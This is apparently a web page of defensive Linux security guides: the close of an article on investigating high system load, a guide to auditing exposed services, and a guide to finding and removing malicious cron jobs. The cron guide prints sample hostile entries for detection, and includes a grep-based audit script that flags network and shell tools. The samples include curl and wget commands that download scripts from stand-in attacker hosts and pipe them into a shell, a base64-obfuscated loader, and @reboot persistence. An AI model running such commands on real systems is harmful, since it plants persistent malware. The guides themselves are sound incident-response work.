aren't stupid. They know you’ll restart the machine or kill the process, so they need a way to make sure their code comes back. I start with the basics. Run crontab -l for the current user, but don't stop there. Attackers love hiding in the system-wide crons. Go dig through thefiles in /etc/cron.* —I’ve personally caught more than one backdoored script tucked into cron.daily or cron.weekly because the attacker knew a once-a-week execution would keep their resource footprint low enough to dodge most basic alerts. Then, hit the services. Run systemctl list-units --type=service . If you see a service name that looks like a garbled string or just doesn't belong, that’s your lead. Pull the unit file and see what it’s actually executing. It’s almost never a legitimate service; it’s usually just a lazy wrapper script that points to a hidden binary somewhere else on the disk. Step 6: Review Logs for Supporting Evidence When you’re in the middle of a security incident response event, looking at logs feels like a chore, but it’s where the story is actually written. Stop scrolling blindly. Use journalctl -xe to see what the kernel and system have been complaining about. If I suspect a remote breach, my first stop is journalctl -u ssh . I'm looking for the obvious stuff—failed logins that look like brute-force attempts—but keep an eye out for the successful logins from IPs that make no sense. If you see a user you don't recognize, or a sudden sudo elevation right before the resource spike started, you’ve found your entry point. Attackers aren't usually quiet about service installations, either; look for entries that show new binaries being dropped or permissions being changed. It’s the digital equivalent of seeing someone leave muddy footprints all over your clean floor. When to Remediate When you are sure it’s malicious, you may need to kill a Linux process—but don't destroy your evidence first. Before you execute the command to kill a process in Linux ( kill -9 ), make sure you have: Captured the process arguments and environment variables: ps eww -p and cat /proc/ /cmdline . Documented active network connections. Preserved logs and taken screenshots or exports from your EDR. Collected hashes of the suspiciousbinary: sha256sum /path/to/binary . After the adrenaline fades, align your internal procedures with CISA Incident Response & Recovery guidance . If you find a compromised process, cross-reference the behavior with the MITRE ATT&CK Resource Hijacking technique . Final Thoughts on Linux Security High load is a symptom. Whether it’s just a bad database index or a serious breach, the methodology remains the same: keep your head, trace the process, verify the context, and don't take anything at face value. Tools like Red Hat's performance monitoring documentation are there for a reason—master them, and you’ll spend a lot less time guessing. Want more Linux security news, vulnerability analysis, and software supply chain updates? Subscribe to the LinuxSecurity Newsletter and get the latest threats, advisories, and expert insights delivered directly to your inbox. Related Reading How to Diagnose Suspicious Outbound Connections on Linux How to Detect Unauthorized File Changes on Linux GitHub Actions Runner Security on Linux: Risks and Hardening Tips Linux IDS vs. IPS: What's the Difference and Which Do You Need? . Discover effective Linux command techniques to investigate high system load during security incidents and enhance response strategies.. Linux system load, performance issues, investigate security incidents. . Dave Wreski
Jun 23, 2026
•
How to Secure My Network
167
network securityLinux administrationsecurity auditHow to Find and Secure Exposed Services on Linux
Open ports have a way of accumulating over time. A test environment gets deployed and never removed. An administrative interface is exposed for troubleshooting and left in place. A database that was supposed to listen internally ends up reachable from the internet. . Attackers look for these mistakes constantly. Redis, Elasticsearch, MongoDB, Jenkins, and similar services still show up on internet-facing systems where they were never meant to be exposed. Sometimes it's a temporary change that becomes permanent. Sometimes a firewall rule was missed during deployment. Sometimes nobody realized the service was listening externally. The result is the same. A service intended for internal use ends up answering requests from anywhere. The first step is figuring out what's actually reachable. From there, it's usually obvious what belongs on the internet and what doesn't. Document Your Current State Before Making Changes Before disabling services or modifying firewall rules, establish a baseline of the system's current configuration. These records can help with troubleshooting, rollback planning, and future audits. Collect the following information: hostnamectl ip addr sudo ss -tulpn sudo lsof -i -n -P sudo systemctl list-unit-files --state=enabled sudo systemctl --failed Save the output to a secure location. At a minimum, you should document: Network interfaces and IP addresses Listening services and ports Enabled system services Existing firewall rules Server role and business purpose Security Tip Create a baseline immediately after provisioning a new server. Comparing future scans against a known-good state makes it easier to identify unexpected changes. How to Identify Exposed Services The first step in reducing the attack surface is understanding what is currently listening for connections. Using ss Modern Linux distributions include the ss utility, which is the preferred replacement for netstat . ss -tulpn Example output: Netid State Recv-Q Send-Q Local Address:Port tcp LISTEN 0 128 0.0.0.0:22 tcp LISTEN 0 128 127.0.0.1:3306 tcp LISTEN 0 128 0.0.0.0:8080 Key fields to review include: Protocol (TCP or UDP) Listening address Port number Associated process ID Executable name Pay particular attention to services in the LISTEN state that are bound to all interfaces. Using lsof To map open ports directly to processes: sudo lsof -i -n -P This command shows which applications own active network connections and listening sockets. Using netstat Many administrators still encounter systems that use netstat . sudo netstat -tulpn 2> /dev/null || echo "netstat is not installed" Although considered legacy, it remains common in documentation and troubleshooting workflows. Which Ports Should Raise Immediate Questions? Not every open port is a security problem. However, every exposed service should have a documented owner and business justification. The following ports frequently deserve additional review: Port Service Why Review It 22 SSH Direct internet exposure 21 FTP Legacy protocol with security concerns 23 Telnet Unencrypted remote access 3306 MySQL Often unintentionally exposed 5432 PostgreSQL Common cloud misconfiguration 6379 Redis Frequent attack target 9200 Elasticsearch Data exposure risk 27017 MongoDB Associated with numerous breaches 8080 Web/Admin Services Often forgotten after deployment An open port does not automatically indicate a vulnerability. Instead, ask: Who owns this service? Why is it exposed? Is internet access required? Can access be restricted? Ifnobody can answer these questions, further investigation is warranted. Determine Whether a Service Is Actually Needed Many production servers accumulate services over time as teams deploy software, perform testing, and forget to remove temporary components. Identify the process associated with a listening port: sudo ss -tulpn Example: LISTEN 0 128 *:8080 *:* users:(("java",pid=1234)) Inspect the process: ps -fp 1234 Then review the service: sudo systemctl status Ask the following questions: Is the application still actively used? Is it part of a supported workload? Does it need external connectivity? Can it be restricted to localhost? Is there a business owner? Unused services should be removed or disabled. Find Services Listening on All Interfaces One of the most common exposure issues occurs when applications listen on every network interface. Find services listening on all IPv4 interfaces: sudo ss -tulpn | grep "0.0.0.0" Find services listening on IPv6 interfaces: sudo ss -tulpn | grep "::" Compare these examples: 127.0.0.1:3306 and 0.0.0.0:3306 The first accepts connections only from the local host. The second accepts connections from any reachable network. For database servers, message brokers, and management interfaces, this distinction is often the difference between a secure configuration and an unnecessary exposure. Disable Unnecessary Services If a service is not required, disable it completely. For example: sudo systemctl stop rpcbind sudo systemctl disable rpcbind sudo systemctl status rpcbind Verify the service is disabled: sudo systemctl is-enabled rpcbind Confirm the listening port has disappeared: sudo ss -tulpn Removing unnecessary services not only reduces attack surface but also decreases maintenance and patching requirements. Restrict Services Instead of Removing Them Not every service can be removed. In many environments, the bettersolution is to limit where the service listens. MySQL # my.cnf bind-address = 127.0.0.1 Verify: sudo ss -tulpn | grep 3306 Why: Verify the change actually took effect. Expected result: 127.0.0.1:3306 not: 0.0.0.0:3306 PostgreSQL # postgresql.conf listen_addresses = 'localhost' Apply and verify: sudo systemctl restart postgresql sudo ss -tulpn | grep 5432 Why: Configuration changes without verification create support headaches. Expected result: 127.0.0.1:5432 Internal Web Interfaces listen 127.0.0.1:8080; This approach allows local applications to function normally while preventing external access. For many organizations, restricting exposure provides nearly the same security benefit as removing the service entirely. Audit Firewall Exposure A service may be listening, but that does not necessarily mean it is reachable. Review firewall policies and compare them against listening ports. Firewalld sudo firewall-cmd --list-all UFW sudo ufw status numbered iptables sudo iptables -L -n -v nftables sudo nft list ruleset Compare: Open firewall ports Listening services Intended application requirements Any discrepancy should be investigated. Verify Exposure from an External Perspective Internal checks alone do not provide a complete picture. Administrators should periodically perform scans from a separate host to see what external users can actually reach. Basic full TCP port scan: nmap -Pn -p- Identify service versions and common configurations: nmap -sV -sC Review results for: Unexpected open ports Service version disclosure Forgotten applications Legacy services This step frequently reveals exposures that internal reviews miss. Real-World Example Numerous Elasticsearch, Redis, and MongoDB exposure incidents have occurred because services intended for internal use were reachable from the internet due tofirewall, cloud security group, or binding misconfigurations. Commonly Overlooked Sources of Attack Surface Attack surface extends beyond traditional services. Forgotten Administrative Panels Review systems for: Jenkins Grafana Kibana phpMyAdmin Portainer Administrative tools often provide direct access to sensitive systems and should rarely be exposed publicly. Development and Debugging Services Look for: Node.js development servers Python development servers Java debugging interfaces Temporary testing environments These services are frequently deployed without security controls. Containerized Workloads Inspect running containers: docker ps docker port Depending on your environment, you may need sudo or membership in the docker group. Why: Many production environments still require root or Docker group membership. Cloud Metadata Services Review access controls for: AWS Instance Metadata Service (IMDS) Azure Instance Metadata Service Google Cloud Metadata Service Improper access controls can increase the impact of server compromise. Legacy Test Environments Old staging systems and proof-of-concept deployments often become forgotten attack vectors. Periodically inventory all externally reachable hosts and retire systems that are no longer required. Monitor Exposure Changes Over Time Attack surface management is not a one-time project. New software deployments, containers, updates, and configuration changes continually alter exposure. Regularly review listening services: sudo ss -tulpn Consider automated auditing tools such as: Lynis sudo lynis audit system OSQuery osqueryi "SELECT pid, port, protocol, address FROM listening_ports;" Why: Produces cleaner output and is more useful in a hardening workflow. Additional options include: OpenSCAP AIDE Scheduled Nmap scans Configuration management compliance checks Continuousmonitoring helps detect exposure drift before attackers do. How Often Should You Review Public Linux Systems? How often you should review public Linux systems depends on your risk profile, but they should be reviewed regularly and continuously monitored as part of attack surface management. Weekly Review new listening ports Check newly enabled services Validate firewall changes Investigate unexpected processes Monthly Perform a complete exposure audit Conduct external Nmap scans Review administrative interfaces Verify service ownership After Major Changes Always reassess exposure after: Software deployments Container updates Cloud migrations Infrastructure changes Major operating system updates The attack surface changes whenever the environment changes. Final Thoughts Most exposure issues aren't discovered during an incident response engagement. They're found later, when someone notices a service listening where it shouldn't be, a firewall rule that was never removed, or a system that changed over time without anyone revisiting the original configuration. Redis, Elasticsearch, MongoDB, Jenkins, administrative interfaces, internal dashboards, test environments. The technology changes, but the underlying problem tends to look familiar. Something that was meant to stay internal became reachable from somewhere it shouldn't. Public Linux systems rarely stay static for long. Services get deployed, containers come and go, firewall rules change, and cloud infrastructure evolves with them. Knowing what is exposed today is often more useful than knowing what was exposed six months ago. For more Linux hardening guidance, vulnerability coverage, and practical security administration tips, subscribe to the LinuxSecurity newsletter. Related Reading How to Harden SSH on Linux After Disabling Password Authentication Guide to Auditing UFW Firewall Rules on Long-Term Linux Environments UFW: Important HardeningPatterns for Long-Lived Linux Servers What is Nmap? How To Use It Effectively for Network Security Lynis Installation Guide: Comprehensive Security Assessments Linux Server Hardening Guide for Secure System Management . Attackers look for these mistakes constantly. Redis, Elasticsearch, MongoDB, Jenkins, and similar se. ports, accumulating, environment, deployed, never, removed. . Dave Wreski
Jun 10, 2026
•
How to Secure My Network
167
security advisoryintrusion detectionLinux environmentHow to Find and Remove Malicious Cron Jobs on Linux
A compromised Linux server can continue running malware long after the initial intrusion. One of the most common persistence techniques is a malicious cron job that silently downloads payloads, restarts malware, or re-establishes attacker access every few minutes. This guide shows how to identify suspicious cron entries, preserve forensic evidence, remove unauthorized scheduled tasks, and verify that no additional persistence mechanisms remain. . What Should You Save Before Removing Cron Jobs Do not start deleting cron entries the moment you see something strange. That can destroy useful timestamps, command paths, usernames, and network indicators. Capture the state first. Backup cron configuration: sudo tar -czf cron-backup-$(date +%Y%m%d).tar.gz \ /var/spool/cron /etc/crontab /etc/cron.d /etc/cron.hourly \ /etc/cron.daily /etc/cron.weekly /etc/cron.monthly 2> /dev/null Save the current user’s crontab: crontab -l > my-crontab-backup.txt 2> /dev/null Save the system crontab: sudo cat /etc/crontab > system-crontab-backup.txt Collect recent cron logs on Ubuntu or Debian: sudo grep CRON /var/log/syslog sudo grep CRON /var/log/syslog | grep -E "(curl|wget|bash)" Collect recent cron logs on Red Hat, CentOS, or Fedora: sudo grep CRON /var/log/cron sudo grep CRON /var/log/cron | grep -E "(curl|wget|bash)" Check recent service activity: journalctl -u cron --since "1 hour ago" 2> /dev/null || journalctl -u crond --since "1 hour ago" Grab process and network context before cleanup: ps auxww ss -tulpn sudo lsof -i -n -P This is not busywork. If cron is only one part of the compromise, these outputs can help you trace the payload, the parent process, and possible outbound infrastructure. How Do You Identify Malicious Cron Entries? Start with the current user, then move across every account. User crontabs are easy to miss during cleanup because they sit outside the obvious /etc/cron.* directories. Checkthe current user’s crontab: crontab -l List stored user crontabs: sudo ls -la /var/spool/cron/crontabs/ 2> /dev/null || sudo ls -la /var/spool/cron/ Check each user’s cron jobs: for user in $(getent passwd | cut -f1 -d:); do echo "=== Cron jobs for $user ===" sudo crontab -u "$user" -l 2> /dev/null || echo "No crontab" done Inspect system-wide cron locations: sudo ls -la /etc/cron.* 2> /dev/null sudo cat /etc/crontab sudo ls -la /etc/cron.d/ 2> /dev/null sudo ls -la /etc/cron.hourly/ 2> /dev/null sudo ls -la /etc/cron.daily/ 2> /dev/null Watch for cron jobs that download and execute code: * * * * * curl http://evil.com/malware.sh | bash Look for jobs that run every minute: * * * * * curl http://malicious-website/payload.sh | bash Check reboot persistence: @reboot /tmp/.hidden/payload Decode suspicious base64 only after copying it somewhere safe: echo 'YmFzaCAuLi4=' | base64 -d Do not run decoded payloads. Read them. Big difference. What Are Common Red Flags in Cron Jobs? Network tools inside cron deserve review. curl, wget, nc, bash, sh, python, perl, base64, eval, and exec are not automatically malicious, but they are common in loader chains. Example suspicious download-and-run pattern: * * * * * wget -O - http://malicious.com/script | sh Example obfuscated entry: * * * * * echo "Y3VybCBedNRwOl8vZXZQbC5jb60=" | base64 -d | bash Scripts launched from temporary paths need attention: * * * * * /tmp/.hidden/miner * * * * * bash /var/tmp/update.sh A job running every minute is not always bad. Detection scripts can check crontabs for malicious activity. Malicious cron jobs can reinfect the file system and execute malicious code on a schedule . But if the command downloads code, runs from /tmp, hides in a dot-directory, or has no owner who can explain it, treat it as suspicious. How Can You Quickly Review Cron Jobs? This script does not removeanything. It just surfaces cron entries that deserve manual review. #!/bin/bash # Cron Security Auditor echo "=== Checking cron jobs for review ===" for user in $(getent passwd | cut -f1 -d:); do sudo crontab -u "$user" -l 2> /dev/null | \ grep -E '(curl|wget|nc|ncat|socat|base64|eval|exec|python|perl|php|openssl)' && \ echo "[REVIEW] Investigate cron entries for user: $user" done find /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly \ -type f -exec grep -H -E '(curl|wget|nc|ncat|socat|base64|eval|exec|python|perl|php|openssl)' {} \; 2> /dev/null grep -r "^\* \* \* \* \*" /etc/crontab /etc/cron.d /var/spool/cron 2> /dev/null echo "=== Audit complete ===" Review each hit before touching it. Ask who owns it, what it runs, why it runs on that schedule, and whether the file path matches normal operations. How Do You Remove Unauthorized Cron Jobs? For a user crontab, edit first when possible: crontab -e Remove only the malicious line, then save. To remove the full current user crontab: crontab -r To remove a specific user’s crontab: sudo crontab -r -u username To remove one line non-interactively: # Show line numbers crontab -l | cat -n # Remove line 27 (example) crontab -l | sed '27d' | crontab - Clean system cron locations only after confirming the file is unauthorized: sudo rm -i /etc/cron.d/suspicious-file sudo rm -i /etc/cron.hourly/malicious-script sudo rm -i /etc/cron.daily/backdoor.sh Edit /etc/crontab manually if the entry lives there: sudo vi /etc/crontab Restart cron if needed: sudo systemctl restart cron 2> /dev/null || sudo systemctl restart crond 2> /dev/null sudo systemctl status cron 2> /dev/null || sudo systemctl status crond How Do You Remove Associated Malware and Scripts? Once the cron entry is gone, remove the payload it was launching. If you delete the payload first, cron may notimmediately stop trying to recreate or download it again. # Find suspected files first. Review output before deleting anything. sudo find /tmp /var/tmp -xdev \( -name "malicious.sh" -o -name ".hidden-miner" -o -name "suspicious-process" \) -ls Confirm the process is no longer running: pgrep -a -f 'suspicious-process' || echo "No matching process found" Watch for the process returning: watch -n 60 'pgrep -a -f "suspicious-process" || echo "No matching process found"' Monitor cron logs while you wait: if [ -f /var/log/syslog ]; then sudo tail -f /var/log/syslog | grep CRON elif [ -f /var/log/cron ]; then sudo tail -f /var/log/cron | grep CRON else journalctl -u cron -u crond -f fi What If the Cron Job Keeps Coming Back? If you remove a suspicious cron job and it reappears later, the cron entry is probably not the root cause. Something else is recreating it. Check for configuration management tools that automatically deploy scheduled tasks. Systems managed by Ansible, Puppet, Chef, Salt, or similar platforms may restore cron jobs during the next configuration run. Look for systemd services or timers that recreate files: sudo systemctl list-timers --all sudo systemctl list-unit-files | grep enabled Inspect custom service definitions: sudo grep -R "cron" /etc/systemd/system /usr/lib/systemd/system 2> /dev/null In containerized environments, the cron job may be baked into the image. If the container is recreated, the cron entry will return. Check the container configuration and image build files instead of repeatedly deleting the job from the running container. Review account activity if the cron job continues to reappear after removal. A compromised user account can simply recreate the entry. Check recent logins: last -a | head -20 Review authentication logs: sudo grep -iE "accepted|session opened|sudo" /var/log/auth.log 2> /dev/null || \ sudo grep -iE "accepted|session opened|sudo" /var/log/secure 2> /dev/null If the cron job keeps returning, focus on identifying what is recreating it rather than deleting it repeatedly. The cron entry is often a symptom of a larger persistence mechanism. What Other Persistence Mechanisms Should You Check? Cron may not be the only foothold. Check systemd services: systemctl list-units --type=service --all systemctl status suspicious-service Check systemd timers: systemctl list-timers --all Review startup scripts: ls -la /etc/init.d/ 2> /dev/null ls -la /etc/rc*.d/ 2> /dev/null ls -la /etc/profile.d/ 2> /dev/null Check SSH keys: cat ~/.ssh/authorized_keys 2> /dev/null sudo cat /root/.ssh/authorized_keys 2> /dev/null Review authentication logs: sudo grep -iE "failed|failure|accepted|session opened|sudo" /var/log/auth.log 2> /dev/null || \ sudo grep -iE "failed|failure|accepted|session opened|sudo" /var/log/secure 2> /dev/null sudo last -a | head -20 If the attacker had root access, assume more than cron changed. Verify packages, binaries, sudo rules, shell profiles, SSH config, and exposed services. How Do You Restrict Who Can Use Cron? Use allow and deny lists where they fit your environment. These files restrict who can use the crontab command. They do not stop already-running cron jobs. Remove existing unauthorized crontabs first. Create an allow list: sudo vi /etc/cron.allow Add approved users: root admin ostechnix Deny everyone else: # When /etc/cron.allow exists, only users listed there can use crontab on common cron implementations. # Do not add "ALL" to /etc/cron.deny; cron.deny expects usernames. sudo touch /etc/cron.deny Set tighter permissions: sudo chown root:root /etc/crontab 2> /dev/null sudo chmod 644 /etc/crontab 2> /dev/null sudo chown root:root /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly 2> /dev/null sudo chmod 755 /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly 2>/dev/null sudo find /etc/cron.d -type f -exec chown root:root {} \; -exec chmod 644 {} \; 2> /dev/null sudo find /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly -type f -exec chown root:root {} \; -exec chmod go-w {} \; 2> /dev/null sudo chmod 644 /etc/cron.allow /etc/cron.deny 2> /dev/null Be careful with permissions. Test scheduled business jobs after changes, especially backup scripts and maintenance tasks. How Do You Monitor Cron Activity? Forward cron logs to a central host when possible. Local logs are useful, but not if the attacker can edit them. Rsyslog example: # In /etc/rsyslog.conf or a file under /etc/rsyslog.d/ cron.* @@logserver.example.com:514 # Restart rsyslog sudo systemctl restart rsyslog Use AIDE to monitor cron paths: # Install AIDE sudo apt install aide -y 2> /dev/null || sudo dnf install aide -y || sudo yum install aide -y # Initialize database sudo aideinit 2> /dev/null || sudo aide --init # Some distributions create a new database that must be moved into place # before integrity checks can run. Check your distribution's AIDE documentation # if the command below fails. sudo mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz 2> /dev/null || true # Configure to monitor cron directories sudo vi /etc/aide/aide.conf 2> /dev/null || sudo vi /etc/aide.conf Add rules similar to these, using your distribution's existing rule names if available: /etc/cron.d CONTENT_EX /etc/cron.hourly CONTENT_EX /etc/cron.daily CONTENT_EX /etc/cron.weekly CONTENT_EX /etc/cron.monthly CONTENT_EX /var/spool/cron CONTENT_EX Run checks: sudo aide --check Tripwire is another option: sudo apt install tripwire -y 2> /dev/null || sudo dnf install tripwire -y || sudo yum install tripwire -y sudo tripwire --init sudo tripwire --check For a live view during triage: #!/bin/bash # cron-monitor.sh while true; do clear echo "=== Active Cron Jobs ===" foruser in $(getent passwd | cut -f1 -d:); do echo "User: $user" sudo crontab -u "$user" -l 2> /dev/null | grep -v "^#" done echo "" echo "=== Recent Cron Executions ===" if [ -f /var/log/syslog ]; then sudo tail -20 /var/log/syslog | grep CRON elif [ -f /var/log/cron ]; then sudo tail -20 /var/log/cron | grep CRON else journalctl -u cron -u crond -n 20 --no-pager fi sleep 60 done Note : Many systems restrict access to /var/log/syslog and /var/log/cron. Using sudo helps avoid permission errors and ensures complete log visibility during investigations. How Do You Audit Cron Jobs Regularly? Cron should be reviewed like sudo rules, firewall rules, and exposed services. Not daily on every host, but often enough that unauthorized changes do not sit for months. Run a weekly audit script: #!/bin/bash # Add to your weekly security checklist /usr/local/bin/cron-audit.sh | mail -s "Weekly Cron Audit" admin@example.com Schedule it: 0 9 * * 1 /usr/local/bin/weekly-cron-audit.sh Use OSQuery where available: # Install osquery sudo apt install osquery -y 2> /dev/null || sudo dnf install osquery -y || sudo yum install osquery -y # Query cron jobs osqueryi "SELECT * FROM crontab;" Use Lynis for broader system checks: sudo apt install lynis -y 2> /dev/null || sudo dnf install lynis -y || sudo yum install lynis -y sudo lynis audit system sudo lynis show suggestions Conclusion Malicious cron jobs are not complicated. That is the problem. A single scheduled command can download malware, restart a backdoor, or restore attacker access long after the original compromise. The response should stay simple too. Preserve evidence. Review user and system cron locations. Remove the unauthorized entry. Delete the launched files. Check systemd, startup scripts, SSH keys, and login profiles. Then lock down who can createscheduled jobs and monitor the cron paths for changes. Cron is normal admin plumbing. Treat unexpected changes to it like a persistence signal. Not proof by itself, but enough to keep digging. . What Should You Save Before Removing Cron Jobs Do not start deleting cron entries the moment y. compromised, linux, server, continue, running, malware, initial, intrusion. . Dave Wreski
Jun 09, 2026
•
How to Secure My Network
Get the latest News and Insights
Get the latest Linux and open source security news straight to your inbox.
Community Poll
Is continuous patching actually viable?
Search Topics
Powered By
Linux Security - Your source for Top Linux News, Advisories, HOWTOs and Feature Releases
QUICK LINKS
subscribe to newsletters!
Like staying secure? So do we.
Sign up for updates, tips, and alerts!